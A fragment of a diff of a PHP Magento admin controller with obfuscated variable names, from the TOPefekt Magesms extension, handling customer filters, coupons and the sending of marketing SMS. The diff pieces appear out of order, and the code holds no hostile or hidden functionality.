sprintf($i03474abc9cad4f5c29a2f0bca70a29051a128bc9, 'filter2', $i376a6873d4104d44a8d8f0acacfc41b40105e11f, 'filter2'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setJs($i8114d84b871449f246242a4433e364f848daff0c); break; case 'birthdayall': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('note1', 'note', array( 'text' => Mage::helper('magesms')->__('day').': ', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter1', 'select', array( 'name' => 'filter[]', 'values' => array_combine(range(1, 31), range(1, 31)), )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('note2', 'note', array( 'text' => Mage::helper('magesms')->__('month').': ', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter2', 'select', array( 'name' => 'filter[]', 'values' => array_combine(range(1, 12), range(1, 12)), )); break; case 'number': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter1', 'select', array( 'name' => 'filter[]', 'values' => array('0'=> '<', '1' => '>', '2' => '=', '3' => '≠'), 'style' => 'min-width:auto;width:40px' )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter2', 'text', array( 'name' => 'filter[]', )); break; } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); } } break; case 'applyFilter': $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('value'); if (is_array($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) && count($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) == 1) $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89 = $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89[0]; if (($i2bd9743336318d0e14be0600c9129730279505dd = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('name')) && $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89 !== '') { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->addApplyFilter($i2bd9743336318d0e14be0600c9129730279505dd, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'count' => $this->_collection->count() )); } break; case 'removeFilter': $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id'); if (is_numeric($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->removeFilter($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() )); } break; case 'listCustomers': if ($i47b2a41e4081b6f8d8381f411087dcd7042bfb53 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('letter')) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $this->_collection->addFieldToFilter('lastname', array('like' => $i47b2a41e4081b6f8d8381f411087dcd7042bfb53.'%')); $i21e55df616c305955791876c1eb4da83448beba2 = $this->getBlockCustomer(); $i21e55df616c305955791876c1eb4da83448beba2->setCollection($this->_collection); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i21e55df616c305955791876c1eb4da83448beba2->toHtml()); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setType('customer'); } break; case 'removeCustomer': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->addRemoveCustomer($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $ib1285cda66d7403b4e0132565b5359295c62d58c = clone $this->_collection; $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $id82aaf2f437652c4b6efbd55703199f614e8e516 = array( 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() ); if ($i47b2a41e4081b6f8d8381f411087dcd7042bfb53 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('letter')) { $ib1285cda66d7403b4e0132565b5359295c62d58c->addFieldToFilter('lastname', array('like' => $i47b2a41e4081b6f8d8381f411087dcd7042bfb53.'%')); $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc = $this->getBlockCustomer(); $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc->setCollection($ib1285cda66d7403b4e0132565b5359295c62d58c); $id82aaf2f437652c4b6efbd55703199f614e8e516['customer_letter'] = $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc->toHtml(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setType('customer'); } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($id82aaf2f437652c4b6efbd55703199f614e8e516); } break; case 'reset': $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->resetFilter(); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() )); break; } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } protected function _popup($iacea0d13bc5e2676192c06d68cb091dc0ce26320 = true) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = ''; if ($iacea0d13bc5e2676192c06d68cb091dc0ce26320) { $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'magesms_marketing_templateform', array('template' => 'topefekt/magesms/marketing/form.phtml') ); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $i1791b2d1f89bb2bd83b34046f59125af207713db->toHtml(); } $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/marketing_template'); return $id82aaf2f437652c4b6efbd55703199f614e8e516.$i42cf41da37138d64d37b0778e6561aab5e1239d6->toHtml(); } public function sendAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { Mage::getModel('magesms/observer')->cronUpdate(); $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('text'); $ifc17de93671eea5715520ecfbc4dc543818685b8 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unique') ? true : false; $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unicode') ? true : false; $iad9ca2238db0190a0310a03143f9935535720c34 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('coupon'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setMessage($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) ->setType(Topefekt_Magesms_Model_Sms::TYPE_MARKETING) ->setPriority(false) ->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd) ->setUnique($ifc17de93671eea5715520ecfbc4dc543818685b8); if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('sendlater') && $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl')) { $i4c323947385ff52539168f26084feed4bc17e2dc = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl'); $i6aa8d50211ad373efab0896425f6f5fa0e013c29 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_hour'); $if8001c570b9f0e904df8b36797628015beb8fa80 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_min'); $i836a3cd8c554d1c35cc3c6cf3e3f49052b683096 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datereal', 0); $i4c323947385ff52539168f26084feed4bc17e2dc = strtotime("$i4c323947385ff52539168f26084feed4bc17e2dc $i6aa8d50211ad373efab0896425f6f5fa0e013c29:$if8001c570b9f0e904df8b36797628015beb8fa80:00") + 3600*$i836a3cd8c554d1c35cc3c6cf3e3f49052b683096; $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setSendlater($i4c323947385ff52539168f26084feed4bc17e2dc); } $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i66e3a0cd135d568c8d85190341325c1d3af03b4b = null; if ($iad9ca2238db0190a0310a03143f9935535720c34) { $i66e3a0cd135d568c8d85190341325c1d3af03b4b = Mage::getSingleton('salesrule/rule')->load($iad9ca2238db0190a0310a03143f9935535720c34); if ($i66e3a0cd135d568c8d85190341325c1d3af03b4b) { if ($i66e3a0cd135d568c8d85190341325c1d3af03b4b->getUseAutoGeneration()) { if (count($i66e3a0cd135d568c8d85190341325c1d3af03b4b->getCoupons()) < $this->_collection->count()) { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('Few coupons have been generated. Generate more coupons.'); $if3b1e2c1706de4c1bca112c669caba3a0420b880 .= '<br />'.Mage::helper('magesms')->__('Number of coupons: %s', count($i66e3a0cd135d568c8d85190341325c1d3af03b4b->getCoupons())); $if3b1e2c1706de4c1bca112c669caba3a0420b880 .= '<br />'.Mage::helper('magesms')->__('Number of recipients: %s', $this->_collection->count()); Mage::throwException($if3b1e2c1706de4c1bca112c669caba3a0420b880); } } if ($i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442 = $i66e3a0cd135d568c8d85190341325c1d3af03b4b->getCoupons()) { $i66e3a0cd135d568c8d85190341325c1d3af03b4b->setCoupon(current($i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442)); } } } foreach($this->_collection as $iff7e46827cbb6547116c592bf800f4687428abf9) { if ($iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()) { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['website_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()])) { $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['website_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()]; $ic5616185277631275bc74b85565c0c6eed62a3cd = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['store-id_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()]; } else { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['website_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()] = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc = Mage::getModel('core/website')->load($iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['store-id_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()] = $ic5616185277631275bc74b85565c0c6eed62a3cd = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getDefaultStore()->getId(); } } else { $ic5616185277631275bc74b85565c0c6eed62a3cd = null; } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($iff7e46827cbb6547116c592bf800f4687428abf9->getTelephone(), array( 'country' => $iff7e46827cbb6547116c592bf800f4687428abf9->getCountryId(), 'customerId' => $iff7e46827cbb6547116c592bf800f4687428abf9->getId(), 'recipient' => $iff7e46827cbb6547116c592bf800f4687428abf9->getFirstname().' '.$iff7e46827cbb6547116c592bf800f4687428abf9->getLastname(), 'text' => $this->_prepareText($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ic5616185277631275bc74b85565c0c6eed62a3cd, $iff7e46827cbb6547116c592bf800f4687428abf9, $i66e3a0cd135d568c8d85190341325c1d3af03b4b), 'dnd' => !(($i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1 = $iff7e46827cbb6547116c592bf800f4687428abf9->getMagesmsCustomerMarketing()) ? $i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1 : is_null($i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1) ? 1 : $i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1), ) ); if ($i66e3a0cd135d568c8d85190341325c1d3af03b4b && $i66e3a0cd135d568c8d85190341325c1d3af03b4b->getUseAutoGeneration()) { $i66e3a0cd135d568c8d85190341325c1d3af03b4b->setCoupon(next($i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442)); } } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } } else { $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } return $this; } public function sentAction() { $this->_redirect('*/*/index'); } protected function _getBlockCustomer() { $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('magesms/marketing_customer'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setCollection($this->_collection); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setTitle(Mage::helper('magesms')->__('Customers found: ')); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setId('customer'); return $i8ee45e0018a32fb1a855b82624506e35789cc4d2; } protected function _getBlockDeleted() { $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('magesms/marketing_customer'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setDeleteCustomer(true); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setTitle(Mage::helper('magesms')->__('Removed Customers: ')); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setId('deleted'); $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::helper('magesms')->getCustomerCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('entity_id', array('in' => $this->_filters->getCache()->getCustomers()->getIds())); foreach($iff7e46827cbb6547116c592bf800f4687428abf9 as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) { $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setDetailUrl(Mage::helper("adminhtml")->getUrl('adminhtml/customer/edit', array('id' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getId()))); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setRemoveUrl($this->getUrl('*/*/filter', array('action' => 'removeCustomer', 'id' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getId()))); } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); return $i8ee45e0018a32fb1a855b82624506e35789cc4d2; } protected function _getCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::helper('magesms')->getCustomerCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addAttributeToSelect('magesms_customer_marketing'); return $iff7e46827cbb6547116c592bf800f4687428abf9; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/marketing') ->_title(Mage::helper('magesms')->__('Marketing SMS')) ; $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = '
31
  Translator.add("Filter has been applied.", "'.$this->__('Filter has been applied.').'");
32
  Translator.add("Filter has been saved.", "'.$this->__('Filter has been saved.').'");
33
  Translator.add("Are you sure you want to reset the filter?", "'.$this->__('Are you sure you want to reset the filter?').'");
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_MarketingController extends Topefekt_Magesms_Controller_Template_Action { private $vdc6442a8b0624835ef0da7b7fcc0ac1da4d6d2da = array('type', 'country', 'group', 'gender', 'marketing', 'newsletter', 'website', 'firstname', 'lastname', 'city', 'register', 'birthday', 'birthdayall', 'sale', 'orderssum', 'product'); protected $_filters; protected $_collection; private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a = array(); public function preDispatch() { parent::preDispatch(); $ia309f32db02d9de4490b0dcce975d0ccbce2c215 = Mage::helper('adminhtml')->prepareFilterString($this->getRequest()->getParam('sms')); $ia309f32db02d9de4490b0dcce975d0ccbce2c215 = $this->_filterDates($ia309f32db02d9de4490b0dcce975d0ccbce2c215, array('datumodesl')); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($ia309f32db02d9de4490b0dcce975d0ccbce2c215 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) || is_numeric($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } } $this->_smsData = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a; return $this; return $this; } private function f6d43ff809a46f71c1e634564f2b37e20a99bbb9c() { $this->_filters = Mage::getModel('magesms/marketing_filter_collection'); $this->_filters->addFilters($this->vdc6442a8b0624835ef0da7b7fcc0ac1da4d6d2da); Mage::register('magesms_marketing_filters', $this->_filters, true); $this->_collection = $this->_getCollection(); $this->_filters->setCollection($this->_collection); $this->_filters->setFilters($this->_collection); Mage::register('magesms_marketing_collection', $this->_collection, true); } public function indexAction() { $this->_initAction(); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i5509ac707290a86add15ab0ce4da982d395f4c4f = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/marketing.phtml') ); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setSmsData($this->_smsData ? $this->_smsData : $this->getRequest()->getParams()); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setFilterData($this->_filterData); $i7d411c0cc32cdb65ec82b9e8d79aa996946f553842c5963b49dec2d3a886ec5045e3b8e035c239f = '{customer_firstname}, {customer_lastname}, {customer_email}, {customer_phone}, {shop_name}, {shop_domain}, {shop_email}, {shop_phone}'; $i1ec93d6cdf7202ea32d00997e9d5b5a68e2df3bc = '{coupon_name}, {coupon_code}, {coupon_description}, {coupon_reduction_percent}, {coupon_reduction_amount}, {coupon_reduction_currency}, {coupon_date_start}, {coupon_date_end}, {coupon_quantity}'; $i5509ac707290a86add15ab0ce4da982d395f4c4f->setNotice($i7d411c0cc32cdb65ec82b9e8d79aa996946f553842c5963b49dec2d3a886ec5045e3b8e035c239f); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setCouponsNotice($i1ec93d6cdf7202ea32d00997e9d5b5a68e2df3bc); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setTranslate(Mage::helper('magesms')->hookVariablesJS($i7d411c0cc32cdb65ec82b9e8d79aa996946f553842c5963b49dec2d3a886ec5045e3b8e035c239f.', '.$i1ec93d6cdf7202ea32d00997e9d5b5a68e2df3bc)); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setCollection($this->_collection); $i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442 = Mage::getModel('salesrule/rule')->getCollection() ->addFieldToFilter('is_active', 1) ->addFieldToFilter('coupon_type', Mage_SalesRule_Model_Rule::COUPON_TYPE_SPECIFIC); $ic6e86aba1bc36abbc0265f7e37437aa716c170c0 = array(array('rule_id' => '', 'name' => '- '.Mage::helper('magesms')->__('Please Select').' -')); $ic6e86aba1bc36abbc0265f7e37437aa716c170c0 = array_merge($ic6e86aba1bc36abbc0265f7e37437aa716c170c0, $i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442->getData()); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setCoupons($ic6e86aba1bc36abbc0265f7e37437aa716c170c0); $this->getLayout()->getBlock('content')->append($i5509ac707290a86add15ab0ce4da982d395f4c4f); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = $this->getLayout()->createBlock('magesms/marketing_form'); $this->getLayout()->getBlock('content')->append($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $this->getLayout()->getBlock('content')->append($i21e55df616c305955791876c1eb4da83448beba2); $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc = $this->_getBlockDeleted(); $this->getLayout()->getBlock('content')->append($i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc); $this->renderLayout(); return $this; } public function filterAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ($this->getRequest()->getParams()) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setType('marketing'); $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i1507c94b68f51b22087227858337782550edf618 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('action')) { try { switch ($i1507c94b68f51b22087227858337782550edf618) { case 'save': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_popup()); break; case 'load': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_popup(false)); break; case 'saveFilter': if ($this->getRequest()->isPost()) { $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter'); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setData(array( 'name' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('saveName'), 'filter' => $this->_filters->toSerialize(), 'date' => date('Y-m-d H:i:s'), )); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->save(); } break; case 'remove': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter'); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->delete(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_popup(false)); } break; case 'restore': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter'); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->fromSerialize($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getFilter()); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() )); } } break; case 'loadFilter': if ($i2bd9743336318d0e14be0600c9129730279505dd = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('name')) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter_'.$i2bd9743336318d0e14be0600c9129730279505dd)) { $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(); switch ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->filter['type']) { case 'select': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter', 'select', array( 'name' => 'filter', 'values' => $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValues(), )); break; case 'input': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter', 'text', array( 'name' => 'filter', )); break; case 'datetime': $i8114d84b871449f246242a4433e364f848daff0c = array(); $i03474abc9cad4f5c29a2f0bca70a29051a128bc9 = 'Calendar.setup({
17
  inputField: "%s",
18
  ifFormat: "%s",
19
  showsTime: true,
27
  button: "%s_trig",
28
  align: "Bl",
29
  singleClick : true
30
+ });'; $i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78 = Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM); $i376a6873d4104d44a8d8f0acacfc41b40105e11f = Varien_Date::convertZendToStrFtime($i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78, true, true); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter1', 'date', array( 'name' => 'filter[]', 'format' => $i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78, 'value' => Mage::app()->getLocale()->date()->toString(), 'image' => Mage::getDesign()->getSkinUrl('images/grid-cal.gif'), )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('note', 'note', array( 'text' => Mage::helper('magesms')->__('to: '), )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter2', 'date', array( 'name' => 'filter[]', 'format' => $i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78, 'value' => Mage::app()->getLocale()->date()->toString(), 'image' => Mage::getDesign()->getSkinUrl('images/grid-cal.gif'), )); $i8114d84b871449f246242a4433e364f848daff0c[] = sprintf($i03474abc9cad4f5c29a2f0bca70a29051a128bc9, 'filter1', $i376a6873d4104d44a8d8f0acacfc41b40105e11f, 'filter1'); 